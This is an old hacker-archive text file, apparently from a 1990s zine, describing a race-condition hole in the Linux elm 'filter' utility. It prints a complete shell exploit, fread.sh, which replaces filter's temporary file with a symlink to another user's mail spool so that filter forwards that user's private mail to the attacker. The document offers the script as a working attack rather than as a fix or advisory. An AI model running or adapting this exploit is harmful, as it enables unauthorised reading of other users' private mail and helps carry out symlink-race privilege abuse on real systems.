home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / linux / linux-~4.asc < prev    next >
Encoding:
Text File  |  1997-03-11  |  3.1 KB  |  60 lines

  1.  
  2.  
  3.  
  4.  
  5.  
  6.  
  7.             Linux 'filter' Security Holes
  8.  
  9.                  by FEH Staff
  10.  
  11.  
  12.  
  13.    The elm filter under linux runs sugrp mail, thus allowing it to freely
  14.  
  15. read and write from users mail spools.  It is only through the integrity
  16.  
  17. of its code that the security of linux's mail system is protected; and in
  18.  
  19. this respect it falls short.  In FEH #2, we printed mail-clobber, code
  20.  
  21. that exploited filter in order to destroy a user's mail spool.  But, the
  22.  
  23. capabilities to exploit filter extend beyond destruction of a mail spool,
  24.  
  25. you can also use it to read a mail spool.
  26.  
  27.    The specific problem that is exploited in this hole is the way filter
  28.  
  29. uses a temporary file to store the input to it, and then subsequently send
  30.  
  31. it back out according to the filter.  Because of the modularity of the 
  32.  
  33. coding, in the main filter.c, the temporary file is opened, and then written
  34.  
  35. to; after which it is closed.  The mailmessage function is then called, with
  36.  
  37. the purpose of forwarding that mail, written to the temporary file, to
  38.  
  39. whatever destination is specified in the filter.  At the start of this
  40.  
  41. process, the temporary file is opened, and the contents of it are dumped
  42.  
  43. to the mail spool of the user the mail is being forwarded to.  
  44.  
  45.    At any point after the file has been initially opened by the main filter
  46.  
  47. function, since the user running filter has permissions on that temp file,
  48.  
  49. it can be rm'd.  The temp file existing can then be replaced with a symbolic
  50.  
  51. link to any file that group mail has read permissions on.  When it is opened
  52.  
  53. in the mailmessage function, the symbolic link is followed and whatever file
  54.  
  55. that was pointed to will be read in, and the contents forwarded to the user
  56.  
  57. specified in the mail spool.  
  58.  
  59.    The complete exploit is shown below:
  60.  
  61.  
  62.  
  63.               Program: filter, an elm utility
  64.  
  65. Affected Operating Systems: linux
  66.  
  67.               Requirements: account on machine
  68.  
  69.        Security Compromise: user can read any mail spool readable by grp mail.
  70.  
  71.                             (usually everything, sometimes not root)
  72.  
  73.                   Synopsis: filter writes out the mail to be forwarded to a
  74.  
  75.                             temporary file, which is then closed and reopened;
  76.  
  77.                             if when the temporary file is reopened it is a
  78.  
  79.                             symlink to a mail spool, filter will proceed
  80.  
  81.                             to forward the contents of that file as if it was
  82.  
  83.                             the original message.
  84.  
  85.  
  86.  
  87. fread.sh:
  88.  
  89. #!/bin/sh
  90.  
  91. echo 'if (always) forward' $LOGNAME > /tmp/fread-ftr.tmp
  92.  
  93. echo From: ReDragon > /tmp/fread-msg.tmp
  94.  
  95. echo To: $LOGNAME >> /tmp/fread-msg.tmp
  96.  
  97. echo Subject: Filter Exploit >> /tmp/fread-msg.tmp
  98.  
  99. echo sleep 2 > /tmp/fread-sh.tmp
  100.  
  101. echo cat /tmp/fread-msg.tmp >> /tmp/fread-sh.tmp
  102.  
  103. chmod +x /tmp/fread-sh.tmp
  104.  
  105. /tmp/fread-sh.tmp|filter -f /tmp/fread-ftr.tmp &
  106.  
  107. FREAD=`ps|grep 'filter -f'|grep -v grep|awk '{print $1}'`
  108.  
  109. rm -f /tmp/filter.$FREAD
  110.  
  111. ln -s /var/spool/mail/$1 /tmp/filter.$FREAD
  112.  
  113. sleep 2
  114.  
  115. rm -f /tmp/fread-ftr.tmp /tmp/fread-msg.tmp /tmp/fread-sh.tmp /tmp/fread-ftr.tmp /tmp/filter.$FREAD
  116.  
  117. FREAD=
  118.  
  119.